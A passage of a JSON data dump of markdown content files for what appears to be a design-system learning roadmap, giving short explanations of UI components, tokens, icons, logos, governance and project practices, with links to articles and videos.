    "content": "# Design System Examples\n\nVisit the following resources to learn more:\n\n- [@article@Material Design (Google)](https://material.io/)\n- [@article@Carbon Design System (IBM)](https://carbondesignsystem.com/)\n- [@article@Atlassian Design System](https://atlassian.design/)\n- [@article@Polaris Design System (Shopify)](https://polaris.shopify.com/)\n- [@article@Gov.uk Design System](https://design-system.service.gov.uk/)\n- [@opensource@Collection of Open Source Design Systems](https://github.com/alexpate/awesome-design-systems)\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/design-system-vs-component-library@J5mU0v491qrm-mr1W3Msd.md",
    "content": "# Design System vs Component Library\n\nA component library is just a collection of visuals i.e. colours, button stylings, fonts, etc. A Design System takes it to the next level by including standards and documentation around the look and usage of each component. The Design System acts as the single-source of truth.\n\nVisit the following resources to learn more:\n\n- [@article@A Design System: So Much More Than A Component Library](https://www.architech.ca/a-design-system-so-much-more-than-a-component-library)\n- [@article@Design System vs UI Component Library vs Brand Style Guide](https://prototype.net/blog/design-system-component-library-style-guide)\n- [@article@Design Systems vs Pattern Libraries vs Style Guides vs Component Libraries](https://www.uxpin.com/studio/blog/design-systems-vs-pattern-libraries-vs-style-guides-whats-difference/)\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/documentation@-b4GjLpL_ppDMJSiChTef.md",
    "content": "# Documentation\n\nOrganize and document the results of visual audit, design elements, components with variations, states, patterns found, any existing documentation, current design process, and considerations. This documentation will be shared across the team and act as a guide when building the new design system.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/documentation@k1Lwk_b6cLIeyQwc4RUh1.md",
    "content": "# Documentation\n\nHaving your code documented is key to driving adoption and reducing the load on the contributors.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/dropdown@MtBSvKoyjdLd6DIdolLRi.md",
    "content": "# Dropdown\n\nDropdowns are used to display a contextual subview with a list of actions or content related to the area where the dropdown is.\n\n- **Supports any type of content:** Dropdowns may be used in a lot of contexts like date pickers, language selection or other product features.\n- **Action Menu:** One of the most used scenarios for dropdowns is providing an action menu for the user, so it’s useful to have this layout defined.\n- **Focus Trapping:** Once the dropdown’s opened, the focus should work only for elements inside the dropdown. When it’s closed, the focus should move to the dropdown trigger.\n- **Close Action:** Either some actions inside the dropdown should close it or there should be a separate close button. Also, it’s good practice to close the dropdown when a user clicks outside.\n- **Keyboard Navigation:** It should be possible to navigate through dropdown children elements with the keyboard and close it with an Esc key.\n- **Dynamic Position:** Dropdown content should be displayed based on the current position of the trigger element on the screen and always visible to the user.\n- **Responsiveness:** Dropdown content should be adapted for mobile viewpoints as it may take a lot of space on desktops.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/dropdowns@hzVwLVzAij6TgPTcNHyhv.md",
    "content": "# Dropdowns\n\nDropdowns reveal option lists when activated to save space. They need clear triggers with visual indicators, organized options with grouping, search/filtering for long lists, multi-select support, smart positioning, full keyboard navigation, loading states, mobile adaptations, proper accessibility, and performance optimization."
  },
  {
    "path": "src/data/roadmaps/design-system/content/existing-design-analysis@8eWhvW2zDIxMGHaXl0Y9i.md",
    "content": "# Existing Design Analysis\n\nFirst step in creating a design system from an existing design is performing a design analysis and understanding what you will be working with to identify the requirements and prepare a plan. Performing the analysis may consist of:\n\n- Understanding the Existing Design Process\n- Performing Visual Audit\n- Identifying Design Elements\n- Identify Common Components\n- Understanding the A/B Testing and Experimentation Needs\n- Understanding any Locale or regional requirements (such as LTR/RTL).\n- Documenting your findings\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/faqs@cpAeotBxN8BCsU9RqTEue.md",
    "content": "# FAQs\n\nTo save everyone time, define which questions are asked frequently by your audience and document them in a discoverable place.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/file-formats@-6LPUMRm-SqvRVEWPDFl8.md",
    "content": "# Different File Formats\n\nProviding a variety of formats for the vector version of your logo will make it easier for others to work and prevent anyone from redrawing it.\n\n- [@article@What is a Vector Logo and Why You Need It](https://www.renderforest.com/blog/vector-logo)"
  },
  {
    "path": "src/data/roadmaps/design-system/content/forms@5LCMzBnnS206t5EtgaUx8.md",
    "content": "# Forms\n\nForms collect user input and require standardized input components, comprehensive validation systems, effective labeling strategies, consistent layouts, clear error handling, progressive disclosure, required field indicators, auto-complete integration, proper accessibility, and mobile optimization."
  },
  {
    "path": "src/data/roadmaps/design-system/content/functional-colors@__Pv19gRr2SFknVnfm0Mr.md",
    "content": "# Functional Colors\n\nBesides your brand colours, make sure to have colours defined and made into variables for functions like disabled states, backgrounds, actions and high contrast text.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/governance@kifE3JE2immnU1O3-toZf.md",
    "content": "# Governance\n\nGovernance is a framework for clarifying roles, responsibilities, and authority over decisions. Having that clarity ensures that decisions for the design system funnel smoothly through the governance process\n\nVisit the following resources to learn more:\n\n- [@article@Governance is a design system’s friend](https://zeroheight.com/blog/governance-is-a-design-systems-friend)\n- [@article@Design System Governance – Scale Your Design](https://www.uxpin.com/studio/blog/design-system-governance/)\n- [@article@Governance by design: Building successful design systems](https://rangle.io/blog/governance-by-design-building-successful-design-systems/)\n- [@article@Team Models for Scaling a Design System](https://medium.com/eightshapes-llc/team-models-for-scaling-a-design-system-2cf9d03be6a0)\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/grid-relation@6Hmj_TeQ563jshqAAl__I.md",
    "content": "# Grid Relation\n\nDraw your icons in a bounding box that plays well with your grid. This makes for a better pairing with other UI elements. A good example of this would be icons with bounding boxes paired with text.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/grid-relation@Zl7MVllzJgObruYtlibKf.md",
    "content": "# Grid Relation\n\nFont sizes and leading should match your grid to allow better pairing between text and other UI elements. A good example of this is text paired with icons with bounding boxes.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/grid@8f2V-rM7soorTTvNo5Vcx.md",
    "content": "# Grid\n\nEvery layout should sit on a grid that brings order and hierarchy to the interface. Define a grid separately for mobile, tablet and desktop devices with columns, gutters, and margins so your interface can adapt to any platform easily.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/guidelines@Jab5LO0mGhTy1cU61Catu.md",
    "content": "# Guidelines\n\nProvide guidelines on how and when to use the pairings in your typography scale, what to keep in mind when working with them and how not to use them.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/guidelines@XDfxs5cgjSuTEprZi2Z5b.md",
    "content": "# Guidelines\n\nProvide guidelines on how and when to use the colours in your palette, what to keep in mind when working with them and how not to use them.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/guidelines@eTxhpC3AQIMcUax6WFU9U.md",
    "content": "# Guidelines\n\nProvide guidelines on how and when to use icons, what to keep in mind when working with them and how not to use them.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/guidelines@mlBzJ2YvBr9QuOthKdj0p.md",
    "content": "# Guidelines\n\nDesign guidelines are sets of recommendations on how to apply design principles to provide a positive user experience. Designers use such guidelines to judge how to adopt principles such as intuitiveness, learnability, efficiency and consistency so they can create compelling designs and meet and exceed user needs.\n\nVisit the following resources to learn more:\n\n- [@article@Design Guidelines](https://www.interaction-design.org/literature/topics/design-guidelines)\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/icon@bzY_iXRnotct_WnNRTlbd.md",
    "content": "# Icon\n\nThe icon component is a way to align the way iconography static assets are displayed in the product.\n\n- **Sizes:** Icons should have a number of predefined sizes to provide a holistic experience across the product. Typography pairings may be used for these size values to ensure that they are aligned with the text sizes.\n- **Colors:** Icons should be using values from the design system colour palette. Using parent element text colour for icon fill colour can make this automatic.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/icons@aak3227IDDJMh0MquQX6m.md",
    "content": "# Icons\n\nIcons are visual symbols that communicate meaning quickly. They should maintain consistent style, use a grid system, provide multiple sizes, organize into semantic categories, ensure accessibility, consider cultural neutrality, be available in multiple formats, include interactive states, and follow systematic versioning."
  },
  {
    "path": "src/data/roadmaps/design-system/content/identify-existing-design-process@CnsDoZ3gIaPeNbwHuZXYJ.md",
    "content": "# Existing Design Process\n\nTo better understand the kind of design system you would like to implement, you need to start by reviewing and analyzing the current approach for design at your company. Find the answers to the following questions:\n\n- What is the design process that your company follows?\n- What are the existing tools that your company uses?\n\nIt’s also recommended to evaluate the level of design maturity of the product teams. This knowledge will help you estimate the time required to introduce the system to your organization.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/input-checkbox@F5_sxUnnGEdgF6BkA5T5x.md",
    "content": "# Input Checkbox\n\nAn input checkbox is a form element used for selecting one or multiple options.\n\n- **Checked State:** Used when the checkbox is selected and will use its value for the form submission.\n- **Disabled State:** Prevents checkbox interactions and removes its value from the form submission.\n- **Intermediate State:** Used when the checkbox has children selectable elements and only some of them are selected.\n- **Label:** There should be a text label linked with the checkbox field. Clicking the label should also trigger the checkbox selection.\n- **Error State:** The error state is used for form validation errors when the error is related to the checkbox field only. Always use a text error along with changing the colour of the field.\n- **Keyboard State:** Checkbox selections should be triggered with the Space key. Using native elements for this should provide this kind of interaction out of the box.\n- **Checkbox Group:** Checkboxes can be grouped to work with multiple values at the same time.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/input-radio@rN-_plAA5FkcQl03wsL18.md",
    "content": "# Input Radio\n\nAn input radio is a form element used for selecting one option from a list.\n\n- **Checked State:** Used when the radio is selected and will use its value for the form submission. A radio input can’t be unselected by pressing it again.\n- **Disabled State:** Prevents radio interactions and removes its value from the form submission.\n- **Label:** There should be a text label linked with the radio field. Clicking the label should also trigger the radio selection.\n- **Error State:** The error state is used for form validation errors when the error is related to the radio field only. Always use a text error along with changing the colour of the field.\n- **Keyboard State:** A radio selection should be triggered when the Space key is pressed. Using native elements for this should provide this kind of interaction out of the box.\n- **Radio Group:** Radio inputs should always be used in a group. If one of them is selected, it can be deselected only by choosing another radio.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/input-switch@NISeaJUlDtQ0kSuyxmrOT.md",
    "content": "# Input Switch\n\nInput switches toggle the state of a single item. Compared to the input checkbox, their changes usually apply without any additional submission.\n\n- **Checked State:** Used when an input switch is turned on. It’s better to provide an additional way to indicate the checked state besides changing its colour when applicable.\n- **Disabled State:** Prevents interacting with an input switch.\n- **Label:** There should be a text label linked with the switch field. Clicking the label should also trigger the input selection.\n- **Keyboard State:** A switch selection should be triggered when the Space key is pressed.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/input-text@hjiJJg4KNr8lyktFQd868.md",
    "content": "# Input Text\n\nInput text lets users enter and edit text.\n\n- **Disabled State:** Prevents input interactions and removes its value from the form submission.\n- **Placeholder:** When there’s no value entered, show a placeholder with a potential value example. Don’t use placeholders as labels for the inputs.\n- **Label:** There should be a text label linked with the text field. Clicking the label should move the focus to the field.\n- **Error State:** The error state is used for form validation errors when the error is related to the text field only. Always use a text error along with changing the colour of the field.\n- **Focused State:** The focused state should highlight the text field when users start to interact with it. There is always only one focused field in the form.\n- **Autocomplete:** When applicable, adding support for the HTML autocomplete attribute will allow users to easily enter different data types.\n- **Icon Support:** Icons are used to describe input methods, express a text field state or provide additional functionality.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/keywords@HDf2L4F1f8uUGpVaf7Y7z.md",
    "content": "# Keywords\n\nAdding keywords will improve the discoverability of each icon and provide a better user experience for anyone using your system.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/list@2T7tiM3Ew3H1U5iJR2TDb.md",
    "content": "# List\n\nLists define the layout of the page content or groups of elements stacking them vertically or horizontally.\n\n- **Support any type of content:** Lists can be used in any context from page-level layout to managing offsets between granular components. hey should work with any component used inside.\n- **Horizontal Stacking:** Lists can be used for inline elements and they have to manage how they’re stacked horizontally, including handling offsets between multiple rows of elements.\n- **Divided Variant:** Lists with dividers are the best practice advised by many platform guidelines (especially on mobile).\n- **Supports Actionable Content:** Sometimes lists are used for grouping tappable components, where the whole area of the list item should be clickable.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/loading-indicator@JhnHOMIlU6mQcwvIpErUY.md",
    "content": "# Loading Indicator\n\nThe loading indicator shows that an operation’s being performed and how long the process will take.\n\n- **Linear and non-linear Variants:** Depending on the context and the component it’s used for, the loading indicator can be represented either with linear or with a non-linear (e.g. circular) variant.\n- **Determinate or indeterminate wait time:** In some cases, the wait time can’t be determined. The loading indicator should be shown until the loading finishes or an error happens. In other cases, it’s better to indicate how much time’s left until the loading is done.\n- **Light Variant:** The loading indicator should respect its parent element background and provide a variant to be used on darker background colours.\n- **Reduced Motion:** The loading indicator should be synced with the system motion settings and reduce its animation speed when reduced motion settings are turned on.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/logging@xYqDmDpjwkShtL86nt-vY.md",
    "content": "# Error Logging\n\nImplement a way to track and pinpoint component-related outages in your product.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/making-a-design-system@dUaoMARPabiD4DRqdkaer.md",
    "content": "# Making a Design System\n\nFirst step in building a design system is identifying [if you even need a design system](https://sparkbox.com/foundry/when_not_to_use_a_design_system).\n\nVisit the following resources to learn more:\n\n- [@video@Introducing Design Systems Into Chaos - Diana Mounter, GitHub](https://www.youtube.com/watch?v=FZSi1bK-BRM)\n- [@video@Design Systems, when and how much?](https://www.youtube.com/watch?v=Hx02SaL_IH0)\n- [@article@Design Systems: Step-by-Step Guide to Creating Your Own](https://www.uxpin.com/create-design-system-guide/)\n- [@article@Does My Organization Need a Design System?](https://www.method.com/insights/does-my-organization-need-a-design-system/)\n- [@video@Create a Design System with Figma - Full Course](https://www.youtube.com/watch?v=RYDiDpW2VkM)\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/making-it-from-existing-design@z5gBy7BjlBKwbYbxXtoDA.md",
    "content": "# From Existing Design\n\nIf you are creating a Design System from pre-existing product design, there is an additional step to perform the existing design analysis, understand the existing design process, perform a visual audit, identify design elements and components and so on.\n\nVisit the following resources to learn more:\n\n- [@video@Create a Design System with Figma - Full Course](https://www.youtube.com/watch?v=RYDiDpW2VkM)\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/making-it-from-scratch@-9I3fTpnQlmcZmIIuQiPe.md",
    "content": "# From Scratch\n\nIf you are building a Design System from Scratch, you may skip the \"Existing Design Analysis\" node of the roadmap and start with \"Creating Design Language\".\n\nVisit the following resources to learn more:\n\n- [@video@Create a Design System with Figma - Full Course](https://www.youtube.com/watch?v=RYDiDpW2VkM)\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/microcopy-guidelines@bD-DjUbAA6l2eK1R9ITcK.md",
    "content": "# Microcopy Guidelines\n\nThe standard way to write for the components in your design system. These take platform conventions and best practices for writing all into consideration.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/milestones@ruPXxVwmD9vSlS7rBZmA-.md",
    "content": "# Milestones\n\nDefine milestones that act as bigger epics in your project management with the help of your roadmap. These will help you understand your progress.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/modal@IjNitkG25vNo30rB4ckNV.md",
    "content": "# Modal\n\nModals are containers appearing in front of the main content to provide critical information or an actionable piece of content.\n\n- **Supports any type of Content:** Like any other container, modals can be used in different scenarios and you should be able to use it with any other component inside.\n- **Supplementary Actions:** Since content in the modal may be actionable, it’s important to have an area for action elements. This area is usually located at the bottom of the modal container.\n- **Close Action:** Modals should provide a clear way to be closed as they’re blocking content when open. This may be either a separate close button or one of the supplementary actions.\n- **Information Structure:** Even though modals can be used as an empty container for the content, they need a defined information structure to provide a holistic experience. It may include defining how titles and subtitles look by default or where an action element’s area is.\n- **Keyboard Navigation Support:** It should be possible to close a modal by pressing the Esc key and all the focusable elements inside the modal container should be accessible with keyboard navigation.\n- **Focus Trapping:** Once a modal is opened, the focus should be moved to the first element inside the modal and should be looped within the modal container. Closing the modal should return the focus to the last focused element on the page.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/monochrome-version@Wn8CylBz-hyl9-iXcUVTO.md",
    "content": "# Monochrome Version\n\nA monochrome version of your logo that looks good on top of photography or when it’s printed with a poor quality printer.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/naming@wiclAEEYioRgLmXFcKQ4E.md",
    "content": "# Naming\n\nName your icons based on what they are, not what they represent. For instance, a trash icon should be named trash, not delete. You can still add related keywords to improve discoverability.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/need-of-design-system@2rlmLn_yQQV-7DpX1qT98.md",
    "content": "# Need of design system\n\nHaving a solid design system speeds up your work by making the product team more efficient, and it creates consistency and harmony within the product and brand ecosystem. A strong design system takes the burden off individual designers to think through commonly recurring design problems. With a full library of pre-approved elements, designers can focus on bigger problems like creating seamless, intuitive flows that delight users. That kind of efficiency pays huge dividends over time.\n\nVisit the following resources to learn more:\n\n- [@video@Design Systems, when and how much?](https://www.youtube.com/watch?v=Hx02SaL_IH0)\n- [@article@Why You Need a Strong Design System (and How to Build One)](https://www.drawbackwards.com/blog/why-you-need-a-strong-design-system-and-how-to-build-one)\n- [@article@On Design Systems: Sell The Output, Not The Workflow](https://www.smashingmagazine.com/2016/05/design-systems-responsive-design-sell-output-not-workflow/)\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/open-hours@YWoPoO9IW3vLZyxLL2fnT.md",
    "content": "# Open Hours\n\nCreate open hours in which you can engage your audience in a more private setting where you can discuss things in more detail. You can also use these as peer coding or peer design opportunities.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/other@Ia1gYzepJOTvTro961eSj.md",
    "content": "# Other Components\n\nSpecialized elements beyond core components include badges for notifications, breadcrumbs for navigation, progress indicators, tooltips for help, pagination for browsing, tab systems, accordions for collapsible content, modals for focused interactions, notification systems, and basic data visualization elements."
  },
  {
    "path": "src/data/roadmaps/design-system/content/pattern@7xPT8rUX3hjSWbxH_FfQs.md",
    "content": "# Pattern\n\nPatterns are best practice design solutions for specific user-focused tasks and page types. Patterns often use one or more components and explain how to adapt them to the context. Some sample patterns could be user signing in to the application or performing the checkout operation.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/performance@wFL9axjaPcVvI8XWduxgz.md",
    "content": "# Performance\n\nCustom fonts need to be downloaded before they can be displayed, especially on the web. Make sure that you have sensible fallbacks and fast loading time for your typography assets. Using system fonts solves this performance problem.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/performing-a-visual-audit@NKm-gXbt5Y7dDwKVkPHjX.md",
    "content": "# Visual Audit\n\nTake screenshots of your current product with the help of your team. You can use any presentation software like Google Slides or print and pin them on foam-core boards. Group the screenshots into categories like buttons, navigation, forms, tables, charts, lists etc.\n\nNow, review each category to find inconsistencies and note areas for improvement with your team. Use a tool like [CSS Stats](https://cssstats.com/) to see how many unique colors, typefaces you have in your style sheets.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/pilot@4dzoZmkNHPedgLqLy93t8.md",
    "content": "# Pilot\n\nPilots are one of the best ways to put your design system through its paces, especially before the design system even gets to a v1. Like television pilots help test audience reactions to a series concept without investing significant resources to create the whole thing, application pilots are a good foundation for ensuring your design system’s design and code are battle-tested.\n\nVisit the following resources to learn more:\n\n- [@official@Design Systems: Pilots & Scorecards](https://danmall.com/posts/design-systems-pilots-scorecards/)\n- [@article@How to run a design system pilot](https://university.obvious.in/product-design/design-system/how-to-run-a-design-system-pilot)\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/placement--clearance-guidance@7n61402xwhIgJ7dPHg8q7.md",
    "content": "# Placement and Clearance Guidance\n\nYour logo must come with clear guidance on how to place it and how to preserve its space since it lives along with other content.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/placement-guidance@7n61402xwhIgJ7dPHg8q7.md",
    "content": "# Placement Guidance\n\nLogo placement guidance ensures consistent brand representation through clear positioning, sizing, and clearance rules. Effective guidelines should define minimum clearance areas, establish preferred positions for different contexts, provide size specifications, define background treatments, and account for platform-specific requirements."
  },
  {
    "path": "src/data/roadmaps/design-system/content/plugins@uO-2O0Jwh_DxrMAB9wxp1.md",
    "content": "# Plugins\n\nMost popular Design Editors (Sketch and Figma, especially) come with third-party plugin support. Whilst it's best to use the editors in-built tools for laying out your components, plugins can bring in a range of useful data to populate them.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/pr-templates@wd9ZHZmqV7wbLN-9V4EQy.md",
    "content": "# Pull Request Templates\n\nCreate pull request templates that outline the change being proposed to facilitate productive discussions.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/project-management@JfXwzkN29UGz17FYHHE3A.md",
    "content": "# Project Management\n\nDesign systems are no different than any other project your team might take on. In order to successfully build and maintain one, you need a clear strategy that’s well executed daily, and you‘ll need to create opportunities for your colleagues to give feedback to help share your design system together.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/readability@L2NHddsv5RGR_BW0I3f4T.md",
    "content": "# Readability\n\nOptimising the letter spacing (tracking), line height (leading) and line length for your typography scale will help with the readability of text.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/regional-requirements@pRJ9wEPNfFx_6EYB501vk.md",
    "content": "# Regional Requirements\n\nUnderstand any regional requirements such as LTR or any other UX variations that your design system should accommodate.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/release-strategy@CfWCQNaCJGL-egRhFhc4B.md",
    "content": "# Release Strategy\n\nDesign system releases should be automated and ideally use scripts ran locally or in remote CI pipelines to prevent broken releases.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/reserved-icons@Y0KxHVrcNGHDao-38Oz3w.md",
    "content": "# Reserved Icons\n\nReserving icons that represent common actions will prevent their use in any other context. System icons for navigation or adding and deleting are a good example. This leads to a more intuitive user experience.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/responsiveness@8YVCtgYRHR3VcpUJXMVwP.md",
    "content": "# Responsiveness\n\nDesktop devices can usually afford to have bigger font sizes compared to mobile devices. Creating a typography scale that adapts to the viewport size will help with a more meaningful hierarchy and layout.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/roadmap@gMrX5600JqFDplriq-eU3.md",
    "content": "# Roadmap\n\nSetting your short and long term vision and mapping things out helps you decide the steps to take, understand your place in the bigger picture and prioritise day-to-day tasks.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/select@n1nUkMqGtPobZPJHCvPsk.md",
    "content": "# Select\n\nSelect lets user select a value from a list of values in a form context:\n\n- **Disabled State:** Prevents input interactions and removes its value from the form submission.\n- **Placeholder:** When there’s no value entered, show a placeholder with a potential value example. Don’t use placeholders as labels for the inputs.\n- **Label:** There should be a text label linked with the text field. Clicking the label should move the focus to the field.\n- **Error State:** The error state is used for form validation errors when the error is related to the text field only. Always use a text error along with changing the colour of the field.\n- **Focused State:** The focused state should highlight the text field when users start to interact with it. There is always only one focused field in the form.\n- **Autocomplete:** When applicable, adding support for the HTML autocomplete attribute will allow users to easily enter different data types.\n- **Icon Support:** Icons are used to describe input methods, express a text field state or provide additional functionality.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/semantic-versioning@ZLt1yJqinC8OSpqucC2dV.md",
    "content": "# Semantic Versioning\n\nVersion your code with semantic versioning that dictates how version numbers are assigned and incremented.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/service-and-health-metrics@5znnOkpf9G9tdiMWB6Rut.md",
    "content": "# Service and Health Metrics\n\nDefine service and health metrics for your design system to set a benchmark on how well you’re doing. Common examples can be the number of tickets closed, improvements made or bugs fixed.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/sizes@w3LS85eFerscaxb2Xp-dP.md",
    "content": "# Sizes\n\nProvide different sizes for icons that correlate to your grid. Provide a minimum size and remove unnecessary detail for your icons for smaller sizes.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/sizing@78RsPhsWpl00AbkwKXUxL.md",
    "content": "# Sizing\n\nSizing tokens establish consistent dimensions across components and layouts. An effective system should establish a foundational unit, create predefined size variations, ensure minimum accessibility requirements, define standard icon sizes, establish container dimensions, implement fluid sizing, and account for platform-specific requirements."
  },
  {
    "path": "src/data/roadmaps/design-system/content/small-use-guidance@FA3JsZgNhKrgNHVtVreol.md",
    "content": "# Small Use Guidance\n\nYour logo must perform well and be recognisable at all sizes. Tips for using your logo in these cases will minimise the risk of it being misused.\n\n- [@article@Everything You Need to Know About Logo Usage Guidelines](https://www.tailorbrands.com/blog/logo-usage-guidelines)\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/spaces@GtLYBPJjdZwG0qgA7erk7.md",
    "content": "# Spacing\n\nSpacing tokens define white space between elements, creating visual rhythm and clear relationships. An effective system should establish a foundational unit, create systematic scales, define consistent internal spacing, establish layout guidelines, implement fluid spacing, create meaningful categories, and ensure cross-platform consistency."
  },
  {
    "path": "src/data/roadmaps/design-system/content/spacking@dXaYOwTAnYSlipNEBSV9l.md",
    "content": "# Spacing\n\nHorizontal and vertical rhythm plays a big role in a layout. You should provide easy methods for adding space between interface elements independent of your grid.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/stakeholders-involved-in-building@_3_tFOpQisx6DSP4Yc2E2.md",
    "content": "# Stakeholders\n\nBuilding an effective design system is not an individual responsibility, you need more than just designers. Here’s a quick list of the disciplines that can be represented in your team to create an effective design system:\n\n- **Designers:** to define the visual elements of the system\n- **Frontend Developers:** To create modular efficient code\n- **Accessibility Experts:** Accessibility experts to ensure your system conforms to standards like WCAG\n- **Performance Experts:** who can ensure your system loads quickly on all devices\n- **Content Strategists:** who can help the team nail the voice and tone of the system\n- **Researchers:** who can help you understand customer needs\n- **Product Managers:** to ensure the system is aligning to customer needs\n- **Leaders:** (VPs and directors) to champion and align the vision throughout the company including up to executive leadership\n\nVisit the following resources to learn more:\n\n- [@article@Designing the Design System](https://www.designbetter.co/design-systems-handbook/designing-design-system)\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/style@SPK1i0XuHpNEWyi1iIxrV.md",
    "content": "# Style\n\nMake sure that your icon family makes visual sense as a whole. Picking an outlined or filled style and sticking with it will lead to better visual consistency and predictability.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/tabs@1vYR1EMyZhJA-znxnFBBb.md",
    "content": "# Tabs\n\nTabs organise navigation between multiple pages or content sections.\n\n- **Active Button State:** There should be a clear differentiation between selected and unselected tab buttons.\n- **Button Icon Support:** Icons help show the purpose of the tab buttons when used next to its label.\n- **Equally-sized tab buttons:** Tabs can be used in a relatively small-sized container where you need to switch between a definite number of sections. For such scenarios, it’s better to support a variant where the button’s area is divided equally.\n- **Keyboard Navigation:** All tab buttons should be focusable and navigation between the tab’s component should be accessible from the keyboard.\n- **Responsiveness:** If all tabs on mobile don’t fit into the viewport, users should still have access to all tab buttons. Ways to solve this can be making the button area scrollable for mobile or showing a More button containing a dropdown with the rest of the buttons.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/terminology@Zspu1SsuTE34PVmYePcs4.md",
    "content": "# Terminology\n\nCreate the standard terms and phrases that need to be kept the same throughout the user experience, speeding up the design process and unifying your voice.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/terminology@de0TKvmFTDmKGZc5X7iFq.md",
    "content": "# Terminology\n\nDesign systems can be tricky if you don’t know what certain words mean. Have a look at the roadmap nodes as well as follow the link below to read the glossary.\n\nVisit the following resources to learn more:\n\n- [@article@Design Systems Glossary](https://web.archive.org/web/20220620075140/https://superfriendly.com/design-systems/glossary/)\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/textarea@iusI39fxcu2rbMXiosaM6.md",
    "content": "# Textarea\n\nText area lets users enter and edit text.\n\n- **Disabled State:** Prevents input interactions and removes its value from the form submission.\n- **Placeholder:** When there’s no value entered, show a placeholder with a potential value example. Don’t use placeholders as labels for the inputs.\n- **Label:** There should be a text label linked with the text field. Clicking the label should move the focus to the field.\n- **Error State:** The error state is used for form validation errors when the error is related to the text field only. Always use a text error along with changing the colour of the field.\n- **Focused State:** The focused state should highlight the text field when users start to interact with it. There is always only one focused field in the form.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/ticketing@i39J0fk4DaPeNFIMbH0ap.md",
    "content": "# Ticketing\n\nMake it easier to track your day-to-day progress by using ticketing software like Jira, Trello or GitHub. This’ll make it easier for others to submit feature proposals or bug reports.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/toast@-T7uL6a3lJ5-IIcDaG6IN.md",
    "content": "# Toast\n\nToasts provide short meaningful feedback messages about the action results.\n\n- **Dismissed Automatically:** Toast messages shouldn’t interrupt the user flow, block the screen for a long time or require additional action from the user.\n- **Action Support:** Besides displaying the message, toasts may also provide an action related to the message like undoing an action.\n- **Handles Multiple Instances:** Even though it doesn’t happen often, toasts can be called from multiple sources at the same time and all resulting toasts should be queued. It’s good practice not to show all the messages at the same time.\n- **Accessibility:** Toast messages should be announced by the voice assistive technology and their action should be easily accessible from the keyboard.\n- **Responsivenss:** Toasts should be aligned with the mobile viewport and their action should be easily reachable for tapping.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/token@jETJVuS_EczJiQASLqaQr.md",
    "content": "# Token\n\nDesign system tokens are the style values of UI elements such as color, typography, spacing, shadows, etc., that are used across products and capable of being converted to a format for any platform (web, mobile, desktop). Tokens are building blocks of the design system—think of them as sub atoms, the smallest pieces of style values that allow designers to create styles for a product.\n\nVisit the following resources to learn more:\n\n- [@article@What Are Design Tokens?](https://xd.adobe.com/ideas/principles/design-systems/what-are-design-tokens/)\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/tone-of-voice@fnlVIgsmyxj2UVCCjM-8g.md",
    "content": "# Tone of Voice\n\nA clear tone of voice defines how you speak to your audience at every moment in their journey, helping them get wherever they want to go.\n"
  },
  {
    "path": "src/data/roadmaps/design-system/content/tooling-analytics@qiJGYYWL4naJX-MgZA9Ms.md",
